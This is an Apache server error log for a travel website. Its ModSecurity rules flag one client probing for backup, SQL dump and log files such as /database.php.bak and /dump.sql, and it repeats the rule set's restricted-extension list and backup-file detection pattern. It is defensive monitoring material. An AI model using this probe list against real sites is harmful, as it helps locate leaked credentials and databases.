[Fri Jul 17 08:55:18.438461 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/settings.php.backup"] [unique_id "almgng5GPQ6hs4VrfMpBdgAAAAY"]
[Fri Jul 17 08:55:18.439241 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/settings.php.backup"] [unique_id "almgng5GPQ6hs4VrfMpBdgAAAAY"]
[Fri Jul 17 08:55:18.439451 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:18.439665 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgng5GPQ6hs4VrfMpBdgAAAAY"]
[Fri Jul 17 08:55:18.447287 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:18.451018 2026] [authz_core:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] AH01630: client denied by server configuration: /home/stravel1/public_html/wp-content/plugins/error_log
[Fri Jul 17 08:55:18.451284 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:18.451521 2026] [hostinglimits:warn] [pid 2029573:tid 2029573] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029573) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:18.456761 2026] [hostinglimits:warn] [pid 2018741:tid 2018741] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018741) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:18.460107 2026] [authz_core:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] AH01630: client denied by server configuration: /home/stravel1/public_html/wp-content/error_log
[Fri Jul 17 08:55:18.460337 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:18.479415 2026] [authz_core:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] AH01630: client denied by server configuration: /home/stravel1/public_html/error_log
[Fri Jul 17 08:55:18.479664 2026] [hostinglimits:warn] [pid 2014256:tid 2014256] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2014256) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:18.483107 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:18.491480 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:18.504037 2026] [hostinglimits:warn] [pid 2030955:tid 2030955] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030955) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:18.511135 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/database.php.bak"] [unique_id "almgnu1pLmPpy2r_2CxfSgAAAA8"]
[Fri Jul 17 08:55:18.512005 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/database.php.bak"] [unique_id "almgnu1pLmPpy2r_2CxfSgAAAA8"]
[Fri Jul 17 08:55:18.512273 2026] [hostinglimits:warn] [pid 2030803:tid 2030803] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030803) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:18.512543 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgnu1pLmPpy2r_2CxfSgAAAA8"]
[Fri Jul 17 08:55:18.554735 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "\\\\.[^.~]+~(?:/.*|)$" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1081"] [id "920500"] [msg "Attempt to access a backup or working file"] [data ".php~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/database.php~"] [unique_id "almgng5GPQ6hs4VrfMpBdwAAAAY"]
[Fri Jul 17 08:55:18.555228 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/database.php~"] [unique_id "almgng5GPQ6hs4VrfMpBdwAAAAY"]
[Fri Jul 17 08:55:18.555354 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:18.555418 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/database.php.old"] [unique_id "almgni0HS8lGbZyK8qt3FgAAACM"]
[Fri Jul 17 08:55:18.555492 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgng5GPQ6hs4VrfMpBdwAAAAY"]
[Fri Jul 17 08:55:18.556150 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/database.php.old"] [unique_id "almgni0HS8lGbZyK8qt3FgAAACM"]
[Fri Jul 17 08:55:18.556317 2026] [hostinglimits:warn] [pid 2018770:tid 2018770] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018770) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:18.556490 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgni0HS8lGbZyK8qt3FgAAACM"]
[Fri Jul 17 08:55:18.556659 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/dump.sql"] [unique_id "almgnnRlmrtCoY_COpcl5AAAAAg"]
[Fri Jul 17 08:55:18.557152 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/dump.sql"] [unique_id "almgnnRlmrtCoY_COpcl5AAAAAg"]
[Fri Jul 17 08:55:18.557255 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:18.557367 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgnnRlmrtCoY_COpcl5AAAAAg"]
[Fri Jul 17 08:55:18.561149 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/php_error.log"] [unique_id "almgnkkXT4NBqALj2lZ8tQAAABA"]
[Fri Jul 17 08:55:18.561564 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:18.561898 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/php_error.log"] [unique_id "almgnkkXT4NBqALj2lZ8tQAAABA"]
[Fri Jul 17 08:55:18.562098 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:18.562274 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgnkkXT4NBqALj2lZ8tQAAABA"]
[Fri Jul 17 08:55:18.565398 2026] [hostinglimits:warn] [pid 2018741:tid 2018741] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018741) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:18.565424 2026] [hostinglimits:warn] [pid 2029573:tid 2029573] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029573) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:18.568375 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/database.sql"] [unique_id "almgng7FYe46zHK_jL3P1gAAABk"]
[Fri Jul 17 08:55:18.569132 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/database.sql"] [unique_id "almgng7FYe46zHK_jL3P1gAAABk"]
[Fri Jul 17 08:55:18.569314 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:18.569531 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgng7FYe46zHK_jL3P1gAAABk"]
[Fri Jul 17 08:55:18.570258 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
